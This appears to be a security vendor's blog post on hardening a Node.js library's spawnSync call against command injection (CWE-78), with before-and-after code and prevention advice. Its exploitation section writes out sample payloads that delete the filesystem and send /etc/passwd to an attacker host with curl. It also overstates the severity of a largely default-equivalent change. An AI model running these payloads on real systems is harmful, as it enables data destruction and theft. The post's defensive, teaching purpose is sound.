Back to Blog
high SEVERITY7 min read

How command injection happens in Node.js child_process calls and how to fix it

A high-severity command injection risk was discovered in `src/cli.js` of a Node.js CLI tool, where `spawnSync` was called without explicitly disabling shell interpretation. By adding `shell: false` to the `spawnSync` options, the fix ensures that the `command` argument cannot be used to inject arbitrary shell commands, closing an exploit primitive that could be chained with other weaknesses.

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This vulnerability is a command injection risk (CWE-78) in Node.js, found in the `run()` function in `src/cli.js` at line 96. The `spawnSync()` call omitted the `shell: false` option, meaning that under certain Node.js versions or configurations, shell metacharacters in the `command` argument could be interpreted by the OS shell. The fix adds `shell: false` explicitly to the `spawnSync` options object, ensuring the command is executed directly without shell interpretation, regardless of runtime defaults.

Vulnerability at a Glance

cweCWE-78
fixAdded shell:false to the spawnSync options object in the run() function
riskAttacker-controlled input passed to spawnSync() could execute arbitrary shell commands
languageJavaScript (Node.js)
root causespawnSync() called without shell:false, leaving shell interpretation dependent on runtime defaults
vulnerabilityCommand Injection via child_process (spawnSync without shell:false)

How Command Injection Happens in Node.js child_process Calls and How to Fix It

The src/cli.js file is the entry point for a Node.js CLI tool — it handles command orchestration and process spawning. But a subtle omission in the run() function created a high-severity command injection risk that Semgrep flagged at line 96. The issue: spawnSync was called without explicitly setting shell: false, leaving the door open for shell metacharacter injection if the command argument ever carries untrusted input.

This post breaks down exactly what went wrong, how an attacker could exploit it, and what the one-line fix does to close the gap.


The Vulnerability Explained

Here is the vulnerable code, exactly as it existed before the fix:

// src/cli.js — BEFORE (line 96, vulnerable)
function run(command, args, options = {}) {
  const result = spawnSync(command, args, { stdio: options.stdio || 'inherit', encoding: 'utf8' });
  if (result.error) throw result.error;
  if (result.status !== 0 && options.check !== false) process.exit(result.status ?? 1);
  return result;
}

The run() function wraps Node.js's spawnSync to execute external commands. At first glance, using spawnSync instead of execSync looks safe — and in many cases it is. The critical difference between spawnSync and execSync is that spawnSync does not invoke a shell by default. But "by default" is the operative phrase.

When shell is not explicitly set to false in the options object, the behavior depends on the Node.js version, the platform, and potentially other configuration. More importantly, omitting shell: false is an implicit trust in the default — and that trust can be violated.

How Could This Be Exploited?

Consider a scenario where a downstream consumer of this library calls run() with a command value derived from user input — for example, a filename, a tool name read from a config file, or a parameter passed through a plugin system:

// A downstream consumer of this Node.js library
const userSuppliedTool = getUserConfig('build_tool'); // e.g., "gcc; rm -rf /"
run(userSuppliedTool, ['--version']);

If shell interpretation is active (either because shell defaults to true in a future Node.js version, or because the library is used in an environment where it is enabled), a command value like gcc; rm -rf / or gcc && curl http://attacker.com/exfil?data=$(cat /etc/passwd) would be interpreted by the OS shell, executing the injected commands with the same privileges as the Node.js process.

Since this is a Node.js library (not just a standalone script), the attack surface extends to every downstream project that imports and calls run(). A library author cannot fully control how consumers will use the function or what data they will pass in.

Why This Matters for a CLI Library

The PR description correctly identifies this as a Node.js library vulnerability — meaning the impact is multiplied across all consumers. Even if the library's own CLI usage is safe today, the absence of shell: false represents an exploit primitive: a code pattern that can be chained with other weaknesses (such as an insecure config file parser or an unvalidated plugin name) to achieve remote or local command execution.

Automated exploit-development tools increasingly look for exactly these kinds of primitives — not standalone exploits, but building blocks that can be assembled into attack chains.


The Fix

The fix is a single, targeted addition to the spawnSync options object:

// src/cli.js — AFTER (line 96, fixed)
function run(command, args, options = {}) {
  const result = spawnSync(command, args, { stdio: options.stdio || 'inherit', encoding: 'utf8', shell: false });
  if (result.error) throw result.error;
  if (result.status !== 0 && options.check !== false) process.exit(result.status ?? 1);
  return result;
}

Before:

spawnSync(command, args, { stdio: options.stdio || 'inherit', encoding: 'utf8' });

After:

spawnSync(command, args, { stdio: options.stdio || 'inherit', encoding: 'utf8', shell: false });

Why shell: false Solves the Problem

Setting shell: false tells Node.js to execute the command binary directly, passing args as a proper argument array to the OS — without invoking /bin/sh (on Unix) or cmd.exe (on Windows) as an intermediary. This means:

  • Shell metacharacters like ;, &&, |, $(), and backticks in command or args are treated as literal strings, not shell syntax.
  • The argument array passed as args is handed directly to the OS execve syscall, bypassing shell parsing entirely.
  • The behavior is now explicit and deterministic regardless of Node.js version, platform, or environment configuration.

This change is behavior-preserving for valid inputs — any legitimate command that worked before will continue to work, because valid command names and arguments do not contain shell metacharacters that would be interpreted differently. Only malicious or malformed inputs are now blocked.


Prevention & Best Practices

1. Always Explicitly Set shell: false in spawnSync / spawn

Never rely on the default. Even if shell defaults to false today, make your intent explicit:

// ✅ Safe — explicit and deterministic
spawnSync('git', ['status'], { shell: false });

// ⚠️ Risky — relies on default behavior
spawnSync('git', ['status']);

// ❌ Dangerous — shell interprets metacharacters
spawnSync('git status', [], { shell: true });

2. Avoid shell: true Unless Absolutely Necessary

If you must use shell: true, you are responsible for sanitizing every piece of input that flows into the command string. Use an allowlist approach — validate that command matches a known-good pattern before passing it to spawnSync.

const ALLOWED_COMMANDS = new Set(['git', 'npm', 'node']);

function safeRun(command, args, options = {}) {
  if (!ALLOWED_COMMANDS.has(command)) {
    throw new Error(`Command not allowed: ${command}`);
  }
  return spawnSync(command, args, { shell: false, ...options });
}

3. Treat Library Functions as Public Attack Surface

If you are writing a Node.js library, assume that any function accepting a command or file argument will eventually be called with untrusted input by a downstream consumer. Design defensively from the start.

4. Use Static Analysis in CI

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process catches exactly this pattern. Add Semgrep to your CI pipeline to catch child_process calls with potentially user-controlled arguments before they reach production.

5. Prefer High-Level Abstractions

When possible, avoid raw child_process calls. Libraries like execa enforce safe defaults and provide better ergonomics for subprocess management in Node.js.

Security Standards Reference

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command
  • OWASP A03:2021: Injection — command injection is a top injection category
  • OWASP Command Injection Defense Cheat Sheet: Recommends avoiding shell interpretation and using parameterized APIs

Key Takeaways

  • spawnSync without shell: false is an implicit trust in runtime defaults — always make the option explicit in src/cli.js-style wrappers.
  • The run() function in src/cli.js is a central process-spawning utility — hardening it protects every call site in the codebase at once.
  • Library code has a wider blast radius than application code — a vulnerable run() helper in a published npm package exposes all downstream consumers.
  • shell: false is a zero-cost security improvement — it adds no overhead, breaks no valid inputs, and removes an entire class of injection risk.
  • Semgrep's detect-child-process rule is a reliable signal — when it fires on a command argument, treat it as high priority even if no immediate exploit path is obvious.

How Orbis AppSec Detected This

  • Source: The command parameter of the run() function in src/cli.js, which accepts externally supplied command names and can be influenced by downstream library consumers or user configuration.
  • Sink: spawnSync(command, args, { ... }) at src/cli.js:96, called without shell: false, where the command argument is passed directly to the process-spawning API.
  • Missing control: No explicit shell: false option was set, and no allowlist validation was applied to the command argument before it was passed to spawnSync.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
  • Fix: Added shell: false to the spawnSync options object in the run() function, ensuring direct process execution without shell interpretation.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in src/cli.js is a textbook example of how a single missing option can create a high-severity security risk in an otherwise well-structured codebase. The run() function's use of spawnSync without shell: false left command interpretation behavior undefined — a gap that could be exploited if the command argument ever carries attacker-influenced data, either directly or through a chain of weaknesses in a downstream consumer.

The fix is minimal, targeted, and behavior-preserving: adding shell: false to the options object explicitly locks down the execution model, removing the shell as a potential attack vector. For Node.js developers building CLI tools or libraries that spawn subprocesses, this is a pattern worth internalizing: always be explicit about shell in spawnSync and spawn calls, and treat every command argument as potentially tainted.


References

Frequently Asked Questions

What is command injection in Node.js child_process?

Command injection occurs when user-controlled input is passed to child_process functions like spawnSync() without proper sanitization, allowing attackers to execute arbitrary OS commands.

How do you prevent command injection in Node.js child_process calls?

Always pass shell:false in the options object to spawnSync(), execSync(), or spawn() to prevent shell interpretation of metacharacters, and validate or allowlist any user-supplied command arguments.

What CWE is command injection?

Command injection maps to CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is using spawnSync instead of execSync enough to prevent command injection?

Not on its own. spawnSync is safer than execSync by default, but without explicitly setting shell:false, some environments or configurations may still invoke a shell, reintroducing the injection risk.

Can static analysis detect command injection in Node.js?

Yes. Tools like Semgrep have rules specifically targeting child_process calls with potentially user-controlled arguments, as demonstrated by this fix being flagged by the semgrep rule javascript.lang.security.detect-child-process.detect-child-process.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #52

Related Articles

high

How Command Injection happens in Node.js child_process calls and how to fix it

A high-severity command injection vulnerability was discovered in `Config/QuickAdd/git-add-new-origin-branch.js`, where user-supplied branch names were interpolated directly into a shell command string passed to `child_process.exec()`. The fix replaces the shell-interpolated `exec()` call with `execFile()`, passing arguments as a discrete array and eliminating the shell entirely. This proactive hardening removes an exploit primitive that could have been chained with other weaknesses to achieve a

high

How Command Injection happens in PHP shell execution and how to fix it

A command injection vulnerability in `sitrecServer/windProxy.php` allowed user-controlled input to reach a shell command without proper sanitization, creating a remote code execution risk. The `$cycleHour` parameter was passed directly as a format integer (`%d`) into a `sprintf`-built shell command, bypassing the `escapeshellarg()` protection applied to all other arguments. The fix casts `$cycleHour` to an integer and wraps it with `escapeshellarg()`, closing the injection path entirely.

critical

How Command Injection happens in Node.js shell-quote and how to fix it

A critical command injection vulnerability (CVE-2026-9277) in the `shell-quote` npm package versions prior to 1.8.4 allowed attackers to execute arbitrary code by injecting unescaped line terminators into shell arguments. The fix upgrades `shell-quote` from 1.8.2 to 1.9.0 and pins the dependency across `package.json`, `package-lock.json`, and `yarn.lock` to ensure no transitive dependency can pull in the vulnerable version.

high

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

The `shell-quote` package (versions prior to 1.9.0) contained a critical command injection vulnerability where unescaped line terminators in shell arguments could be exploited to inject arbitrary commands. This vulnerability was discovered in the docs-site dependency tree and fixed by upgrading to version 1.9.0, which properly escapes line terminators to prevent attackers from breaking out of quoted arguments and executing malicious shell commands.

critical

How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It

A critical command injection vulnerability (CVE-2026-9277) was discovered in the shell-quote npm package version 1.8.3, where unescaped line terminators could allow attackers to execute arbitrary code. This fix upgrades shell-quote to version 1.9.0 using npm overrides to ensure all instances in the dependency tree are patched, eliminating the attack vector across the entire application.

high

How Command Injection happens in PHP and how to fix it

A high-severity command injection vulnerability was discovered in `lib/Controller/Helper.php` where the `corruptline()` method used `exec()` to run sed and awk commands with user-controlled input. The fix replaced all shell command execution with native PHP file operations using `SplFileObject`, eliminating the command injection attack surface entirely.